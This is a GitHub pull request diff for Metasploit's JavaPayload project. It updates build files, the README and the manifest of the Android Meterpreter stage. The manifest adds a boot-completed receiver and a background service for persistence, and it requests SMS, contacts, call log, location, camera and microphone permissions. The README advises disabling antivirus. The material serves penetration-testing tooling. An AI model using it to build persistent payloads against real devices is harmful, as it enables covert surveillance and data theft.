Skip to content
This repository has been archived by the owner on Jan 22, 2024. It is now read-only.

enhancing android mainactivity to work as service #3

Closed
wants to merge 9 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
31 changes: 17 additions & 14 deletions .gitignore
@@ -1,14 +1,17 @@
*/.classpath
*/.project
*/.settings
*/bin
*/target
*/*/.classpath
*/*/.project
*/*/.settings
*/*/bin
*/*/target
*.swp
*.orig
*.rej
*~
*/.classpath
*/.project
*/.settings
*/bin
*/target
*/*/.classpath
*/*/.project
*/*/.settings
*/*/bin
*/*/target
*.swp
*.orig
*.rej
*~

.metadata
*/*/gen
10 changes: 5 additions & 5 deletions .travis.yml
@@ -1,6 +1,6 @@
language: java

jdk:
- openjdk6
- openjdk7
language: java
jdk:
- openjdk6
- openjdk7
- oraclejdk7
110 changes: 55 additions & 55 deletions README.md
@@ -1,55 +1,55 @@
To compile JavaPayload for Metasploit (including Java Meterpreter), you need
Maven 3.0 or above. Just run

```
mvn package
```

to package all the files, or

```
mvn -P deploy package
```

to package all the files and copy them into the correct place for Metasploit
(/data/java). If you get spurious compilation errors, make sure that there
is an exclude rule in your antivirus for the Metasploit directory (or that
your antivirus is disabled).

In case you want to edit/debug JavaPayload for Metasploit or Java Meterpreter,
Maven provides plugins to auto-generate project files for your favourite IDE
(at least for Eclipse, Netbeans or IntelliJ). I use Eclipse, so to generate
project files I use

```
mvn eclipse:eclipse
```

This will generate project files that can be imported via

File->Import->Existing Projects into Workspace

into your Eclipse workspace.

(Note that if this is your first Maven project you want to use in Eclipse, you
also have to run

```
mvn -Declipse.workspace=/path/to/your/workspace eclipse:configure-workspace
```

to set up path variables like `M2_REPO` to point to the correct location.)

For NetBeans or IntelliJ IDEA, refer to the documentation at

http://maven.apache.org/netbeans-module.html
http://maven.apache.org/plugins/maven-idea-plugin/

## Android


```
mvn package -Dandroid.sdk.path=/path/to/android-sdk-linux/
```


To compile JavaPayload for Metasploit (including Java Meterpreter), you need
Maven 3.0 or above. Just run
```
mvn package
```
to package all the files, or
```
mvn -P deploy package
```
to package all the files and copy them into the correct place for Metasploit
(/data/java). If you get spurious compilation errors, make sure that there
is an exclude rule in your antivirus for the Metasploit directory (or that
your antivirus is disabled).
In case you want to edit/debug JavaPayload for Metasploit or Java Meterpreter,
Maven provides plugins to auto-generate project files for your favourite IDE
(at least for Eclipse, Netbeans or IntelliJ). I use Eclipse, so to generate
project files I use
```
mvn eclipse:eclipse
```
This will generate project files that can be imported via
File->Import->Existing Projects into Workspace
into your Eclipse workspace.
(Note that if this is your first Maven project you want to use in Eclipse, you
also have to run
```
mvn -Declipse.workspace=/path/to/your/workspace eclipse:configure-workspace
```
to set up path variables like `M2_REPO` to point to the correct location.)
For NetBeans or IntelliJ IDEA, refer to the documentation at
http://maven.apache.org/netbeans-module.html
http://maven.apache.org/plugins/maven-idea-plugin/
## Android
```
mvn package -Dandroid.sdk.path=/path/to/android-sdk-linux/
```
90 changes: 53 additions & 37 deletions androidpayload/app/AndroidManifest.xml
@@ -1,38 +1,54 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:minSdkVersion="3"/>

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />

<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.android.stage"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:minSdkVersion="5"/>

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />

<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_CALL_LOG"/>

<application
android:name="com.metasploit.android.stage.MyApp"
android:icon="@drawable/icon"
android:theme="@android:style/Theme.NoTitleBar"
android:label="@string/app_name" >
<activity android:name="com.metasploit.android.stage.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="com.metasploit.android.stage.MyBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service
android:launchMode="singleInstance"
android:name="com.metasploit.android.stage.StageService"
android:enabled="true" >
</service>
</application>

</manifest>